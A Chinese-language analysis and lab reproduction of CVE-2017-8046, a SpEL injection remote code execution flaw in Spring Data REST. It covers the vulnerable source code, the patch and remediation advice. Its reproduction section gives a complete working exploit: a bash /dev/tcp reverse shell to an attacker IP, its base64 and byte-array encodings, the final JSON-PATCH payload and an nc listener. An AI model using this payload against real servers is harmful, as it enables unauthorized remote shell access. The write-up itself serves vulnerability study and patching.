漏洞概述
CVE-2017-8046 是 Spring Data REST 框架中的一個高危遠程代碼執行漏洞,影響版本包括 Spring Data REST < 2.5.12、2.6.7、3.0 RC3 及關聯的 Spring Boot 和 Spring Data 舊版本。攻擊者通過構造包含惡意 SpEL(Spring Expression Language)表達式的 PATCH 請求,繞過路徑校驗邏輯,觸發遠程代碼執行。該漏洞的核心問題在于 Spring Data REST 對 path
參數的 SpEL 解析未做充分安全校驗。
技術細節分析
1. 漏洞成因
- SpEL 表達式注入:
Spring Data REST 在處理 JSON-PATCH 請求時,將用戶輸入的path
參數直接轉換為 SpEL 表達式,未對輸入內容進行安全過濾。攻擊者可構造惡意path
參數(如T(java.lang.Runtime).exec(...)
),觸發任意代碼執行。 - 路徑處理邏輯缺陷:
PatchOperation
類的pathToSpEL
方法將路徑按/
分割后拼接為 SpEL 表達式,例如/admin/price
轉換為admin.price
,但未驗證路徑合法性,導致攻擊者可注入非法的表達式結構。
2. 源碼分析
關鍵代碼 1:PATCH 請求處理入口(JsonPatchHandler.java)
public <T> T apply(IncomingRequest request, T target) throws Exception {if (request.isJsonPatchRequest()) {return applyPatch(request.getBody(), target); // 處理 JSON-PATCH 請求} else {return applyMergePatch(request.getBody(), target);}
}
問題點:
- 請求頭
Content-Type: application/json-patch+json
觸發applyPatch
分支。 request.getBody()
直接讀取未經驗證的請求體內容。
關鍵代碼 2:路徑轉換邏輯(PatchOperation.java)
public PatchOperation(String op, String path, Object value) {this.path = path;this.spelExpression = pathToExpression(path); // 將 path 轉換為 SpEL 表達式
}private static String pathToSpEL(String path) {return pathNodesToSpEL(path.split("\\/")); // 按 "/" 分割路徑
}
問題點:
- 分割后的路徑片段通過
.
拼接為 SpEL 表達式(如path="/T(Runtime).exec"
轉換為T(Runtime).exec
),未校驗片段合法性。
關鍵代碼 3:SpEL 表達式執行(ReplaceOperation.java)
protected void setValueOnTarget(Object target, Object value) {spelExpression.setValue(target, value); // 執行 SpEL 表達式
}
漏洞觸發點:
- 當
path
包含惡意表達式(如T(java.lang.Runtime).exec("calc")
)時,spelExpression.setValue
觸發代碼執行。
3. 補丁分析
官方修復通過 verifyPath
方法驗證路徑合法性,防止非法表達式注入:
protected Optional<PropertyPath> verifyPath(Class<?> type) {String pathSource = Arrays.stream(path.split("/")).filter(it -> !it.matches("\\d")) // 過濾數字.filter(it -> !it.equals("-")) // 過濾特殊符號.collect(Collectors.joining("."));return Optional.of(PropertyPath.from(pathSource, type)); // 反射驗證路徑存在性
}
修復效果:
- 非法的路徑(如包含類方法調用的
T(Runtime).exec
)因無法通過反射校驗而拋出異常。
漏洞復現
1.環境搭建
-
使用 Vulhub 環境啟動漏洞靶機:
cd vulhub/spring/CVE-2017-8046 docker-compose up -d
-
訪問
http://target:8080/customers/1
,確認服務正常運行。
2.攻擊步驟(反彈shell)
- 制作payload(靶機ip:192.168.1.100;攻擊機ip:192.168.1.102)
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
base64編碼
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==為 bash -i >& /dev/tcp/192.168.1.102/6666 0>&1 base64編碼
ASCII編碼
bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
用記事本去掉;&#
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
構造最后payload
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
- 攻擊機開啟監聽
nc -lvvp 6666
- 注入payload
bp抓取訪問/customers/1
的數據包
將GET
修改為PATCH
,添加 Content-Type: application/json-patch+json
字段,將payload
添加到最后一行。
- 反彈shsll成功
修復方案
1. 升級版本:
升級至 Spring Data REST 2.5.12+、2.6.7+、3.0 RC3+,修復路徑校驗邏輯。
2. 輸入過濾:
對用戶輸入的 path
參數進行正則匹配,禁止包含 T(...)
等 SpEL 關鍵字。
3. 禁用高風險功能:
若非必要,禁用 JSON-PATCH 方法或限制其使用范圍。
總結
CVE-2017-8046 暴露了 Spring Data REST 在路徑解析與 SpEL 表達式處理上的設計缺陷。其修復方案通過反射驗證路徑合法性,但開發者仍需警惕用戶輸入的直接解析場景,避免類似漏洞。實際開發中,應遵循最小化輸入信任原則,結合框架升級與自定義校驗機制,確保系統安全。
參考鏈接
- CVE-2017-8046 官方公告
- 漏洞復現與 PoC 構造
- 補丁代碼分析
- Spring Data REST 遠程代碼執行漏洞(CVE-2017-8046)分析與復現6
- CVE-2017-8046 Spring Data Rest 遠程命令執行漏洞